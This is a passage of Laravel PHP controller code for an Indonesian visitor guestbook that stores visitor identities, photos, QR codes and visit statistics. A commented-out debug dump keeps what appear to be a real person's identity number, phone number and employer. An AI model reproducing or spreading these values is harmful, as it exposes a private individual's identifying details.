'jumlah'=>$cek_kunjungan ); } //cek member/users $arr_member = array('hasil'=>'Data member tidak tersedia','status'=>false); if ($dataCek->member) { //member terkoneksi $arr_member = array( 'hasil' => array( 'id'=> $dataCek->member->id, 'name' => $dataCek->member->name, 'username' => $dataCek->member->username, 'level' => $dataCek->member->level, 'level_nama' => $dataCek->member->mLevel->nama, 'lastlogin' => $dataCek->member->lastlogin, 'lastip' => $dataCek->member->lastip, 'user_foto' => $dataCek->member->user_foto, 'tamu_id' => $dataCek->member->tamu_id, 'created_at'=>$dataCek->member->created_at, 'created_at_nama'=>Carbon::parse($dataCek->member->created_at)->isoFormat('dddd, D MMMM Y H:mm:ss'), 'updated_at'=>$dataCek->member->updated_at, 'updated_at_nama'=>Carbon::parse($dataCek->member->updated_at)->isoFormat('dddd, D MMMM Y H:mm:ss'), ), 'status'=>true ); } $arr = array( 'hasil' => array( 'tamu_id'=>$dataCek->id, 'id_identitas'=>$dataCek->id_midentitas, 'id_identitas_nama'=>$dataCek->identitas->nama, 'nomor_identitas'=>$dataCek->nomor_identitas, 'nama_lengkap'=>$dataCek->nama_lengkap, 'tgl_lahir'=>$dataCek->tgl_lahir, 'tgl_lahir_nama'=>Carbon::parse($dataCek->tgl_lahir)->isoFormat('D MMMM Y'), 'umur'=>Carbon::parse($dataCek->tgl_lahir)->age, 'id_jk'=>$dataCek->id_jk, 'nama_jk'=>$dataCek->jk->nama, 'inisial_jk'=>$dataCek->jk->inisial, 'id_kerja'=>$dataCek->id_mkerja, 'nama_kerja'=>$dataCek->pekerjaan->nama, 'kat_kerja'=>$dataCek->id_mkat_kerja, 'kat_kerja_nama'=>$dataCek->kategoripekerjaan->nama, 'kerja_detil'=>$dataCek->kerja_detil, 'id_mdidik'=>$dataCek->id_mdidik, 'nama_mdidik'=>$dataCek->pendidikan->nama , 'id_mwarga'=>$dataCek->id_mwarga, 'nama_mwarga'=>$dataCek->warga->nama, 'email'=>$dataCek->email, 'telepon'=>$dataCek->telepon , 'alamat'=>$dataCek->alamat, 'kode_qr'=>$dataCek->kode_qr, 'created_at'=>$dataCek->created_at, 'created_at_nama'=>Carbon::parse($dataCek->created_at)->isoFormat('dddd, D MMMM Y H:mm:ss'), 'updated_at'=>$dataCek->updated_at, 'updated_at_nama'=>Carbon::parse($dataCek->updated_at)->isoFormat('dddd, D MMMM Y H:mm:ss'), 'url_foto'=>$dataCek->tamu_foto, 'kunjungan'=>$arr_kunjungan, 'member'=>$arr_member ), 'status' => true ); } return Response()->json($arr); } public function HapusPengunjung(Request $request) { $count = Mtamu::where('id',$request->id)->count(); $arr = array( 'status'=>false, 'hasil'=>'Data pengunjung tidak tersedia' ); if ($count>0) { $data = Mtamu::where('id',$request->id)->first(); $nama = $data->nama_lengkap; //$data->delete(); $namafile_photo = $data->tamu_foto; $data->delete(); if ($data->tamu_foto != NULL) { Storage::disk('public')->delete($namafile_photo); } $cek_kunjungan = Kunjungan::where('tamu_id',$request->id)->count(); if ($cek_kunjungan > 0) { $dataKunjungan = Kunjungan::where('tamu_id',$request->id)->get(); foreach ($dataKunjungan as $item) { if ($item->is_pst == 1) { Pstlayanan::where('kunjungan_id',$item->id)->delete(); Pstmanfaat::where('kunjungan_id',$item->id)->delete(); PstFasilitas::where('kunjungan_id',$item->id)->delete(); } $cek_feedback = Feedback::where('kunjungan_id',$item->id)->count(); if ($cek_feedback > 0) { Feedback::where('kunjungan_id',$item->id)->delete(); } $namafile_kunjungan = $item->file_foto; Storage::disk('public')->delete($namafile_kunjungan); } Kunjungan::where('tamu_id',$request->id)->delete(); } $arr = array( 'status'=>true, 'hasil'=>'Data pengunjung an. '.$nama.' berhasil dihapus beserta data kunjungan' ); } return Response()->json($arr); } public function SyncKodePengunjung() { $count = Mtamu::count(); if ($count > 0) { $data = Mtamu::get(); foreach ($data as $item) { if ($item->kode_qr == NULL) { $qrcode_foto = ''; $qrcode = Generate::Kode(6); $data_update = Mtamu::where('id',$item->id)->first(); $data_update->kode_qr = $qrcode; $data_update->update(); //buat qrcode img nya langsung $qrcode_foto = QrCode::format('png') ->size(500)->margin(1)->errorCorrection('H') ->generate($qrcode); $output_file = '/img/qrcode/'.$qrcode.'-'.$item->id.'.png'; //$data_foto = base64_decode($qrcode_foto); Storage::disk('public')->put($output_file, $qrcode_foto); } } $pesan_error = 'Data pengunjung berhasil sync'; $warna_error = 'success'; } else { $pesan_error = 'Data pengunjung masih kosong'; $warna_error = 'danger'; } Session::flash('message', $pesan_error); Session::flash('message_type', $warna_error); return redirect()->route('pengunjung.list'); } public function SyncPhoto() { //ubah nama file di mtamu dan kunjungan //kunjungan $namafile_kunjungan = '/img/kunjungan/'; $namafile_profil = '/img/profil/'; //ambil data kunjungan $countKunjungan = Kunjungan::count(); if ($countKunjungan > 0) { //proses nama $dataKunjungan = Kunjungan::get(); foreach ($dataKunjungan as $item) { if ($item->file_foto != NULL) { //cek dulu nama file sudah ada tanda / didepannya if (substr($item->file_foto, 0, 1) != '/') { //update isiannya $data_update = Kunjungan::where('id',$item->id)->first(); $data_update->file_foto = '/img/kunjungan/'.$item->file_foto; $data_update->update(); } } } $pesan_error1 = 'Data photo kunjungan berhasil di sync'; $warna_error = 'success'; } else { $pesan_error1 = 'Data kunjungan masih kosong'; $warna_error = 'danger'; } $countTamu = Mtamu::count(); if ($countTamu > 0) { //data tamu ada $dataMtamu = Mtamu::get(); foreach ($dataMtamu as $item) { if ($item->tamu_foto != NULL) { //cek dulu nama file sudah ada tanda / didepannya if (substr($item->tamu_foto, 0, 1) != '/') { //update isiannya $data_update = Mtamu::where('id',$item->id)->first(); $data_update->tamu_foto = '/img/profil/'.$item->tamu_foto; $data_update->update(); } } } $pesan_error = $pesan_error1 .' dan Data photo kunjungan berhasil di sync'; $warna_error = 'success'; } else { $pesan_error = $pesan_error1 .' dan Data Tamu masih kosong'; $warna_error = 'danger'; } Session::flash('message', $pesan_error); Session::flash('message_type', $warna_error); return redirect()->route('pengunjung.list'); } public function ListSyncKunjungan() { //cek kunjungan $countKunjungan = Kunjungan::where('flag_edit_tamu','0')->count(); if ($countKunjungan > 0) { //proses nama $dataKunjungan = Kunjungan::get(); foreach ($dataKunjungan as $item) { //proses semua kunjungan //cek dulu jenis kunjungan //apabila nilai 2 (kelompok) //jumlah mengikut jenis kelamin penanggung jawab kunjungan if ($item->jenis_kunjungan == 2) { if ($item->tamu->id_jk == 1) { //laki-laki //update isiannya $data_update = Kunjungan::where('id',$item->id)->first(); $data_update->tamu_m = $item->jumlah_tamu; $data_update->tamu_f = 0; $data_update->flag_edit_tamu = 1; $data_update->update(); } else { //update perempuan $data_update = Kunjungan::where('id',$item->id)->first(); $data_update->tamu_f = $item->jumlah_tamu; $data_update->tamu_m = 0; $data_update->flag_edit_tamu = 1; $data_update->update(); } } else { if ($item->tamu->id_jk == 1) { //laki-laki //update isiannya $data_update = Kunjungan::where('id',$item->id)->first(); $data_update->tamu_m = 1; $data_update->tamu_f = 0; $data_update->flag_edit_tamu = 1; $data_update->update(); } else { //update perempuan $data_update = Kunjungan::where('id',$item->id)->first(); $data_update->tamu_f = 1; $data_update->tamu_m = 0; $data_update->flag_edit_tamu = 1; $data_update->update(); } } } $pesan_error = 'Data jenis kunjungan dengan jumlah tamu berhasil di sync'; $warna_error = 'success'; } else { $pesan_error = 'Data kunjungan masih kosong / semua kunjungan sudah sinkron'; $warna_error = 'danger'; } Session::flash('message', $pesan_error); Session::flash('message_type', $warna_error); return redirect()->route('lama'); } public function SyncLayananManfaat() { $data_bulan = array( 1=>'Januari','Februari','Maret','April','Mei','Juni','Juli','Agustus','September','Oktober','November','Desember' ); $data_tahun = DB::table('kunjungan') ->selectRaw('year(tanggal) as tahun') ->groupBy('tahun') ->orderBy('tahun','asc') ->get(); //dd($data_tahun); //filter if (request('tamu_pst')==NULL) { $tamu_filter = 9; } elseif (request('tamu_pst')==0) { $tamu_filter = 0; } else { $tamu_filter = request('tamu_pst'); } if (request('tahun')==NULL) { $tahun_filter=date('Y'); } elseif (request('tahun')==0) { $tahun_filter=date('Y'); } else { $tahun_filter = request('tahun'); } if (request('bulan')==NULL) { $bulan_filter= (int) date('m'); } elseif (request('bulan')==0) { $bulan_filter = NULL; } else { $bulan_filter = request('bulan'); } if (request('jns_kunjungan')==NULL or request('jns_kunjungan')==0) { $kunjungan_filter=0; } else { $kunjungan_filter=request('jns_kunjungan'); } //batas filter $Midentitas = Midentitas::orderBy('id','asc')->get(); $Mpekerjaan = Mpekerjaan::orderBy('id','asc')->get(); $Mjk = Mjk::orderBy('id','asc')->get(); $Mpendidikan = Mpendidikan::orderBy('id','asc')->get(); $Mkatpekerjaan = Mkatpekerjaan::orderBy('id','asc')->get(); $Mwarga = Mwarga::orderBy('id','asc')->get(); $MKunjungan = MKunjungan::orderBy('id','asc')->get(); $Mlayanan = Mlayanan::orderBy('id','asc')->get(); $Mtamu = Mtamu::orderBy('id','asc')->get(); $Mfasilitas = Mfasilitas::orderBy('id','asc')->get(); $Mjkunjungan = Mjkunjungan::orderBy('id','asc')->get(); $dataManfaat = Pstmanfaat::get(); $dataLayanan = Pstlayanan::with('Kunjungan') ->when($bulan_filter,function ($query) use ($bulan_filter){ return $query->whereMonth('created_at','=',$bulan_filter); }) ->whereYear('created_at','=',$tahun_filter)->get(); return view('master.layanan',['dataLayanan'=>$dataLayanan,'dataManfaat'=>$dataManfaat,'bulan'=>$bulan_filter,'tahun'=>$tahun_filter,'dataBulan'=>$data_bulan,'dataTahun'=>$data_tahun]); } public function GenSyncLayananManfaat($tahun) { $dataLayanan = Pstlayanan::whereYear('created_at','=',$tahun)->get(); if ($dataLayanan) { foreach ($dataLayanan as $item) { if (Carbon::parse($item->created_at) < Carbon::parse('2022-08-01')) { //ngga bisa generate $namaLayanan = Mlayanan::where('id',$item->layanan_id)->first(); } else { $namaLayanan = MLay::where('id',$item->layanan_id)->first(); } $dLayanan = Pstlayanan::where('id',$item->id)->first(); $dLayanan->layanan_nama_new = $namaLayanan->nama; $dLayanan->update(); } $pesan_error = 'Data layanan sudah tersinkron'; $warna_error = 'success'; } else { $pesan_error = 'Data kunjungan masih kosong / semua kunjungan sudah sinkron'; $warna_error = 'danger'; } Session::flash('message', $pesan_error); Session::flash('message_type', $warna_error); return redirect()->route('layanan.sync'); } } <file_sep>/app/Http/Controllers/BukutamuController.php <?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Midentitas; use Illuminate\Support\Facades\Session; use Carbon\Carbon; use App\Mjk; use App\Mkatpekerjaan; use App\Mlayanan; use App\Mpendidikan; use App\MKunjungan; use App\Mwarga; use App\Mpekerjaan; use App\Mtamu; use App\Kunjungan; use App\Pstlayanan; use App\Pstmanfaat; use App\Mfasilitas; use App\MFas; use App\MManfaat; use App\MLay; use App\PstFasilitas; use App\Mjkunjungan; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\DB; use App\Feedback; use Illuminate\Support\Facades\Storage; use App\Helpers\Generate; use QrCode; class BukutamuController extends Controller { // public function depan() { //filter $data_bulan = array( 1=>'Januari','Februari','Maret','April','Mei','Juni','Juli','Agustus','September','Oktober','November','Desember' ); $data_bulan_pendek = array( 1=>'JAN','FEB','MAR','APR','MEI','JUN','JUL','AGU','SEP','OKT','NOV','DES' ); $data_tahun = DB::table('kunjungan') ->selectRaw('year(tanggal) as tahun') ->groupBy('tahun') ->orderBy('tahun','asc') ->get(); if (request('tahun')==NULL) { $tahun_filter=date('Y'); } else { $tahun_filter = request('tahun'); } if (request('bulan')==NULL) { $bulan_filter = NULL; } elseif (request('bulan')==0) { $bulan_filter = NULL; } else { $bulan_filter = request('bulan'); } //batas filter $Midentitas = Midentitas::orderBy('id','asc')->get(); $Mpekerjaan = Mpekerjaan::orderBy('id','asc')->get(); $Mjk = Mjk::orderBy('id','asc')->get(); $Mpendidikan = Mpendidikan::orderBy('id','asc')->get(); $Mkatpekerjaan = Mkatpekerjaan::orderBy('id','asc')->get(); $Mwarga = Mwarga::orderBy('id','asc')->get(); $MKunjungan = MKunjungan::orderBy('id','asc')->get(); $Mlayanan = Mlayanan::orderBy('id','asc')->get(); $Mfasilitas = Mfasilitas::orderBy('id','asc')->get(); $Mjkunjungan = Mjkunjungan::orderBy('id','asc')->get(); //$Kunjungan = Kunjungan::with('tamu')->whereDate('tanggal', Carbon::today())->orderBy('id','desc')->get(); $Mtamu = Mtamu::orderBy('id','asc')->get(); $Kunjungan = Kunjungan::with('tamu') ->when($bulan_filter == NULL,function ($query){ return $query->whereDate('tanggal', Carbon::today()); }) ->when($bulan_filter > 0,function ($query) use ($bulan_filter,$tahun_filter){ return $query->whereMonth('tanggal',$bulan_filter)->whereYear('tanggal',$tahun_filter); }) ->orderBy('created_at','desc')->get(); //dd($data_tahun); if ($bulan_filter == NULL) { $bulan_filter= (int) date('m'); } //grafik //batas grafik return view('new-depan',['Midentitas'=>$Midentitas, 'Mpekerjaan'=>$Mpekerjaan, 'Mjk'=>$Mjk, 'Mpendidikan' => $Mpendidikan, 'Mkatpekerjaan'=>$Mkatpekerjaan, 'Mwarga' => $Mwarga, 'MKunjungan' => $MKunjungan, 'Mlayanan' => $Mlayanan, 'Mtamu' => $Mtamu, 'Mjkunjungan'=>$Mjkunjungan,'Kunjungan'=> $Kunjungan,'Mfasilitas'=>$Mfasilitas,'dataTahun'=>$data_tahun,'tahun'=>$tahun_filter,'dataBulan'=>$data_bulan,'dataBulanPendek'=>$data_bulan_pendek,'bulan'=>$bulan_filter]); } public function lama() { $data_bulan = array( 1=>'Januari','Februari','Maret','April','Mei','Juni','Juli','Agustus','September','Oktober','November','Desember' ); $data_tahun = DB::table('kunjungan') ->selectRaw('year(tanggal) as tahun') ->groupBy('tahun') ->orderBy('tahun','asc') ->get(); //dd($data_tahun); //filter if (request('tamu_pst')==NULL) { $tamu_filter = 9; } elseif (request('tamu_pst')==0) { $tamu_filter = 0; } else { $tamu_filter = request('tamu_pst'); } if (request('tahun')==NULL) { $tahun_filter=date('Y'); } elseif (request('tahun')==0) { $tahun_filter=date('Y'); } else { $tahun_filter = request('tahun'); } if (request('bulan')==NULL) { $bulan_filter= (int) date('m'); } elseif (request('bulan')==0) { $bulan_filter = NULL; } else { $bulan_filter = request('bulan'); } if (request('jns_kunjungan')==NULL or request('jns_kunjungan')==0) { $kunjungan_filter=0; } else { $kunjungan_filter=request('jns_kunjungan'); } //batas filter $Midentitas = Midentitas::orderBy('id','asc')->get(); $Mpekerjaan = Mpekerjaan::orderBy('id','asc')->get(); $Mjk = Mjk::orderBy('id','asc')->get(); $Mpendidikan = Mpendidikan::orderBy('id','asc')->get(); $Mkatpekerjaan = Mkatpekerjaan::orderBy('id','asc')->get(); $Mwarga = Mwarga::orderBy('id','asc')->get(); $MKunjungan = MKunjungan::orderBy('id','asc')->get(); $Mlayanan = Mlayanan::orderBy('id','asc')->get(); $Mtamu = Mtamu::orderBy('id','asc')->get(); $Mfasilitas = Mfasilitas::orderBy('id','asc')->get(); $Mjkunjungan = Mjkunjungan::orderBy('id','asc')->get(); $Kunjungan = Kunjungan::with('tamu') ->when($tamu_filter < 9,function ($query) use ($tamu_filter){ return $query->where('is_pst','=',$tamu_filter); }) ->when($bulan_filter,function ($query) use ($bulan_filter){ return $query->whereMonth('tanggal',$bulan_filter); }) ->when($kunjungan_filter > 0,function ($query) use ($kunjungan_filter){ return $query->where('jenis_kunjungan',$kunjungan_filter); }) ->whereYear('tanggal','=',$tahun_filter) ->orderBy('tanggal','desc')->get(); //dd($tamu_filter); //dd($Kunjungan); return view('lama.list',['Midentitas'=>$Midentitas, 'Mpekerjaan'=>$Mpekerjaan, 'Mjk'=>$Mjk, 'Mpendidikan' => $Mpendidikan, 'Mkatpekerjaan'=>$Mkatpekerjaan, 'Mwarga' => $Mwarga, 'MKunjungan' => $MKunjungan, 'Mlayanan' => $Mlayanan, 'Mtamu' => $Mtamu, 'Kunjungan'=> $Kunjungan,'Mfasilitas'=>$Mfasilitas,'bulan'=>$bulan_filter,'tahun'=>$tahun_filter,'dataBulan'=>$data_bulan,'dataTahun'=>$data_tahun,'tamupst'=>$tamu_filter,'Mjkunjungan'=>$Mjkunjungan,'jns_kunjungan'=>$kunjungan_filter]); } public function simpan(Request $request) { //$layanan= $request->pst_layanan; //$pst_layanan = Mlayanan::whereIn('id',$request->pst_layanan)->get(); //$test = $request->pst_layanan; //dd($request->all()); //dd($request->all()); //$foto = $request->foto; // foto = tamu_id_tgl_detik; /* array:19 [▼ "_token" => "<KEY>" "tamu_id" => "2" "edit_tamu" => "0" "tamu_baru" => "0" "jenis_identitas" => "2" "nomor_identitas" => "5272031903820005" "nama_lengkap" => "<NAME>" "tgl_lahir" => "1982-03-19" "email" => "<EMAIL>" "telepon" => "081237802900" "alamat" => "Jl. G<NAME> No. 2" "pekerjaan_detil" => "BPS Provinsi NTB" "foto" => null "tujuan_kedatangan" => "1" "id_manfaat" => "1" "manfaat_nama" => "Tugas Sekolah/Tugas Kuliah" "pst_layanan" => array:4 [▶] "pst_fasilitas" => array:2 [▶] "keperluan" => "adfa fsf sfafafsa" ] jenis_kunjungan" => "2" "jumlah_tamu" => "3" "tamu_laki" => "0" "tamu_wanita" => "3" */ //dd($waktu_hari_ini,$request->all()); if ($request->tamu_id==NULL) { $qrcode = Generate::Kode(6); $data = new Mtamu(); $data->id_midentitas = $request->jenis_identitas; $data->nomor_identitas = trim($request->nomor_identitas); $data->nama_lengkap = trim($request->nama_lengkap); $data->tgl_lahir = $request->tgl_lahir; $data->id_jk = $request->id_jk; $data->id_mkerja = $request->id_kerja; $data->id_mkat_kerja = $request->kat_kerja; $data->kerja_detil = $request->pekerjaan_detil; $data->id_mdidik = $request->id_mdidik; $data->id_mwarga = $request->mwarga; $data->email = $request->email; $data->telepon = trim($request->telepon); $data->alamat = $request->alamat; $data->created_at = \Carbon\Carbon::now(); $data->kode_qr = $qrcode; $data->save(); $id_tamu = $data->id; $waktu_hari_ini = date('Ymd_His'); if (preg_match('/^data:image\/(\w+);base64,/', $request->foto)) { $namafile_kunjungan = '/img/kunjungan/tamu_'.$id_tamu.'_'.$waktu_hari_ini.'.png'; $namafile_profil = '/img/profil/tamu_profil_'.$id_tamu.'.png'; $data_foto = substr($request->foto, strpos($request->foto, ',') + 1); $data_foto = base64_decode($data_foto); Storage::disk('public')->put($namafile_kunjungan, $data_foto); Storage::disk('public')->put($namafile_profil, $data_foto); //update link foto $data->tamu_foto = $namafile_profil; $data->update(); //batas update } else { $namafile_kunjungan=NULL; $namafile_profil=NULL; } //buat qrcode img nya langsung $qrcode_foto = QrCode::format('png') ->size(500)->margin(1)->errorCorrection('H') ->generate($qrcode); $output_file = '/img/qrcode/'.$qrcode.'-'.$data->id.'.png'; //$data_foto = base64_decode($qrcode_foto); Storage::disk('public')->put($output_file, $qrcode_foto); $pesan_error = 'Data pengunjung '.trim($request->nama_lengkap).' berhasil ditambahkan'; $warna_error = 'info'; } else { //ini kalo sudah ada datanya //tanpa pegawai baru $waktu_hari_ini = date('Ymd_His'); if (preg_match('/^data:image\/(\w+);base64,/', $request->foto)) { $namafile_kunjungan = '/img/kunjungan/tamu_'.$request->tamu_id.'_'.$waktu_hari_ini.'.png'; $namafile_profil = '/img/profil/tamu_profil_'.$request->tamu_id.'.png'; $data_foto = substr($request->foto, strpos($request->foto, ',') + 1); $data_foto = base64_decode($data_foto); Storage::disk('public')->put($namafile_kunjungan, $data_foto); Storage::disk('public')->put($namafile_profil, $data_foto); } else { $namafile_kunjungan=NULL; $namafile_profil=NULL; } //cek apakah di update apa tidak edit_tamu = 1 (edit) if ($request->edit_tamu==1) { //edit data tamu $data = Mtamu::where('id','=',$request->tamu_id)->first(); $data->id_midentitas = $request->jenis_identitas; $data->nomor_identitas = trim($request->nomor_identitas); $data->nama_lengkap = trim($request->nama_lengkap); $data->tgl_lahir = $request->tgl_lahir; $data->id_jk = $request->id_jk; $data->id_mkerja = $request->id_kerja; $data->id_mkat_kerja = $request->kat_kerja; $data->kerja_detil = $request->pekerjaan_detil; $data->id_mdidik = $request->id_mdidik; $data->id_mwarga = $request->mwarga; $data->email = trim($request->email); $data->telepon = trim($request->telepon); $data->alamat = $request->alamat; if ($namafile_profil != NULL) { $data->tamu_foto = $namafile_profil; } $data->update(); $pesan_error = 'Data pengunjung '.trim($request->nama_lengkap).' berhasil ditambahkan dan Diperbarui'; $warna_error = 'success'; } else { //data tamu tidak Diperbarui //perbarui foto profil dengan foto terbaru saja $data = Mtamu::where('id','=',$request->tamu_id)->first(); if ($namafile_profil != NULL) { $data->tamu_foto = $namafile_profil; } $data->update(); //batasannya $pesan_error = 'Data pengunjung berhasil ditambahkan'; $warna_error = 'info'; } $id_tamu = $request->tamu_id; } //$dataTamu = Mtamu::where('nomor_identitas','=',$request->nomor_identitas)->first(); if ($request->tujuan_kedatangan==0) { $is_pst=0; $f_id = 0; } else { $is_pst=$request->tujuan_kedatangan; $f_id = $request->id_manfaat; //$f_id = 0; } //cek dulu apakah hari ini juga sudah mengisi //kalo sudah ada tidak bisa mengisi dua kali bukutamu $data = Mtamu::where('id','=',$id_tamu)->first(); $cek_kunjungan = Kunjungan::where([['tamu_id',$id_tamu],['tanggal',Carbon::today()->format('Y-m-d')],['is_pst',$is_pst]])->count(); if ($cek_kunjungan > 0 ) { //sudah ada kasih info kalo sudah mengisi $pesan_error = 'Data pengunjung '.$data->nama_lengkap.' sudah pernah mengisi bukutamu hari tanggal '.Carbon::today()->isoFormat('dddd, D MMMM Y'); $warna_error = 'danger'; } else { //cek jenis kunjungan //perorangan atau kelompok //perorangan skip aja pakai jk dari tamu_id //kelompok isikan sesuai jumlah /* jenis_kunjungan" => "2" "jumlah_tamu" => "3" "tamu_laki" => "0" "tamu_wanita" => "3" */ if ($request->jenis_kunjungan == 2) { $jumlah_tamu = $request->jumlah_tamu; $laki = $request-> tamu_laki; $wanita = $request->tamu_wanita; } else { $jumlah_tamu = 1; //cek jenis kelamin ambil dari query data diatas if ($data->id_jk == 1) { $laki=1; $wanita=0; } else { $laki=0; $wanita=1; } } $dataKunjungan = new Kunjungan(); $dataKunjungan->tamu_id = $id_tamu; $dataKunjungan->tanggal = Carbon::today()->format('Y-m-d'); $dataKunjungan->keperluan = $request->keperluan; $dataKunjungan->jenis_kunjungan = $request->jenis_kunjungan; $dataKunjungan->jumlah_tamu = $jumlah_tamu; $dataKunjungan->tamu_m = $laki; $dataKunjungan->tamu_f = $wanita; $dataKunjungan->is_pst = $is_pst; $dataKunjungan->f_id = $f_id; $dataKunjungan->file_foto = $namafile_kunjungan; $dataKunjungan->flag_edit_tamu = 1; //flag_tidak bisa di sync $dataKunjungan->save(); if ($is_pst>0) { //isi tabel pst_layanan, pst_manfaat dan pst_fasilitas //$MLay = MLay::orderBy('id','asc')->get(); //$pst_layanan = Mlayanan::whereIn('id',$request->pst_layanan)->get(); $pst_layanan = MLay::whereIn('id',$request->pst_layanan)->get(); $pst_fasilitas = MFas::whereIn('id',$request->pst_fasilitas)->get(); $kunjungan_id = $dataKunjungan->id; foreach ($pst_layanan as $l) { $dataLayanan = new Pstlayanan(); $dataLayanan->kunjungan_id = $kunjungan_id; $dataLayanan->layanan_id = $l->id; $dataLayanan->layanan_nama = $l->nama; $dataLayanan->layanan_nama_new = $l->nama; $dataLayanan->save(); } foreach ($pst_fasilitas as $fas) { $dataFasilitas = new PstFasilitas(); $dataFasilitas->kunjungan_id = $kunjungan_id; $dataFasilitas->fasilitas_id = $fas->id; $dataFasilitas->fasilitas_nama = $fas->nama; $dataFasilitas->save(); } $dataManfaat = new Pstmanfaat(); $dataManfaat->kunjungan_id = $kunjungan_id; $dataManfaat->manfaat_id = $request->id_manfaat; $dataManfaat->manfaat_nama = $request->manfaat_nama; $dataManfaat->manfaat_nama_new = $request->manfaat_nama; $dataManfaat->save(); } Session::flash('message_header', "<strong>Terimakasih</strong>"); $pesan_error="Data Pengunjung <strong><i>".trim($request->nama_lengkap)."</i></strong> berhasil ditambahkan"; $warna_error="success"; } Session::flash('message', $pesan_error); Session::flash('message_type', $warna_error); return redirect()->route('depan'); } public function SimpanLama(Request $request) { //$layanan= $request->pst_layanan; //$pst_layanan = Mlayanan::whereIn('id',$request->pst_layanan)->get(); //$test = $request->pst_layanan; //dd($request->all()); //dd($pst_layanan); if ($request->tamu_id==NULL) { $qrcode = Generate::Kode(6); $data = new Mtamu(); $data->id_midentitas = $request->jenis_identitas; $data->nomor_identitas = trim($request->nomor_identitas); $data->nama_lengkap = trim($request->nama_lengkap); $data->tgl_lahir = $request->tgl_lahir; $data->id_jk = $request->id_jk; $data->id_mkerja = $request->id_kerja; $data->id_mkat_kerja = $request->kat_kerja; $data->kerja_detil = $request->pekerjaan_detil; $data->id_mdidik = $request->id_mdidik; $data->id_mwarga = $request->mwarga; $data->email = $request->email; $data->telepon = trim($request->telepon); $data->alamat = $request->alamat; $data->created_at = \Carbon\Carbon::now(); $data->kode_qr = $qrcode; $data->save(); $id_tamu = $data->id; $namafile_kunjungan=NULL; $namafile_profil=NULL; //buat qrcode img nya langsung $qrcode_foto = QrCode::format('png') ->size(500)->margin(1)->errorCorrection('H') ->generate($qrcode); $output_file = '/img/qrcode/'.$qrcode.'-'.$data->id.'.png'; //$data_foto = base64_decode($qrcode_foto); Storage::disk('public')->put($output_file, $qrcode_foto); $pesan_error = 'Data pengunjung '.trim($request->nama_lengkap).' berhasil ditambahkan'; $warna_error = 'info'; } else { //ini kalo sudah ada datanya //tanpa pegawai baru $namafile_kunjungan=NULL; $namafile_profil=NULL; //cek apakah di update apa tidak edit_tamu = 1 (edit) if ($request->edit_tamu==1) { //edit data tamu $data = Mtamu::where('id','=',$request->tamu_id)->first(); $data->id_midentitas = $request->jenis_identitas; $data->nomor_identitas = trim($request->nomor_identitas); $data->nama_lengkap = trim($request->nama_lengkap); $data->tgl_lahir = $request->tgl_lahir; $data->id_jk = $request->id_jk; $data->id_mkerja = $request->id_kerja; $data->id_mkat_kerja = $request->kat_kerja; $data->kerja_detil = $request->pekerjaan_detil; $data->id_mdidik = $request->id_mdidik; $data->id_mwarga = $request->mwarga; $data->email = trim($request->email); $data->telepon = trim($request->telepon); $data->alamat = $request->alamat; $data->update(); $pesan_error = 'Data pengunjung '.trim($request->nama_lengkap).' berhasil ditambahkan dan Diperbarui'; $warna_error = 'success'; } $id_tamu = $request->tamu_id; } //$dataTamu = Mtamu::where('nomor_identitas','=',$request->nomor_identitas)->first(); if ($request->tujuan_kedatangan==0) { $is_pst=0; $f_id = 0; } else { $is_pst=$request->tujuan_kedatangan; $f_id = $request->fasilitas_utama; } //cek dulu apakah hari ini juga sudah mengisi //kalo sudah ada tidak bisa mengisi dua kali bukutamu $data = Mtamu::where('id','=',$id_tamu)->first(); $cek_kunjungan = Kunjungan::where([['tamu_id',$id_tamu],['tanggal',Carbon::parse($request->tgl_kunjungan)->format('Y-m-d')],['is_pst',$is_pst]])->count(); if ($cek_kunjungan > 0 ) { //sudah ada kasih info kalo sudah mengisi $pesan_error = 'Data pengunjung '.$data->nama_lengkap.' sudah pernah mengisi bukutamu hari tanggal '.Carbon::parse($request->tgl_kunjungan)->isoFormat('dddd, D MMMM Y'); $warna_error = 'danger'; } else { $dataKunjungan = new Kunjungan(); $dataKunjungan->tamu_id = $id_tamu; $dataKunjungan->tanggal = Carbon::parse($request->tgl_kunjungan)->format('Y-m-d'); $dataKunjungan->keperluan = $request->keperluan; $dataKunjungan->is_pst = $is_pst; $dataKunjungan->f_id = $f_id; $dataKunjungan->save(); if ($is_pst>0) { //isi tabel pst_layanan dan pst_manfaat /* kode lama $pst_layanan = Mlayanan::whereIn('id',$request->pst_layanan)->get(); $pst_manfaat = MKunjungan::whereIn('id',$request->pst_manfaat)->get(); $kunjungan_id = $dataKunjungan->id; foreach ($pst_layanan as $l) { $dataLayanan = new Pstlayanan(); $dataLayanan->kunjungan_id = $kunjungan_id; $dataLayanan->layanan_id = $l->id; $dataLayanan->layanan_nama = $l->nama; $dataLayanan->layanan_nama_new = $l->nama; $dataLayanan->save(); } foreach ($pst_manfaat as $m) { $dataManfaat = new Pstmanfaat(); $dataManfaat->kunjungan_id = $kunjungan_id; $dataManfaat->manfaat_id = $m->id; $dataManfaat->manfaat_nama = $m->nama; $dataManfaat->manfaat_nama_new = $m->nama; $dataManfaat->save(); } */ $pst_layanan = MLay::whereIn('id',$request->pst_layanan)->get(); $pst_fasilitas = MFas::whereIn('id',$request->pst_fasilitas)->get(); $kunjungan_id = $dataKunjungan->id; foreach ($pst_layanan as $l) { $dataLayanan = new Pstlayanan(); $dataLayanan->kunjungan_id = $kunjungan_id; $dataLayanan->layanan_id = $l->id; $dataLayanan->layanan_nama = $l->nama; $dataLayanan->layanan_nama_new = $l->nama; $dataLayanan->save(); } foreach ($pst_fasilitas as $fas) { $dataFasilitas = new PstFasilitas(); $dataFasilitas->kunjungan_id = $kunjungan_id; $dataFasilitas->fasilitas_id = $fas->id; $dataFasilitas->fasilitas_nama = $fas->nama; $dataFasilitas->save(); } $dataManfaat = new Pstmanfaat(); $dataManfaat->kunjungan_id = $kunjungan_id; $dataManfaat->manfaat_id = $request->id_manfaat; $dataManfaat->manfaat_nama = $request->manfaat_nama; $dataManfaat->manfaat_nama_new = $request->manfaat_nama; $dataManfaat->save(); } $pesan_error = 'Data pengunjung <b>'.trim($request->nama_lengkap).'</b> tanggal kunjungan <b>'.$request->tgl_kunjungan.'</b> berhasil ditambahkan'; $warna_error = 'success'; } Session::flash('message', $pesan_error); Session::flash('message_type', $warna_error); return redirect()->route('lama'); } public function UpdateKunjungan(Request $request) { /* array:6 [▼ "_token" => "<KEY>" "kunjungan_id" => "1180" "tamu_id" => "1004" 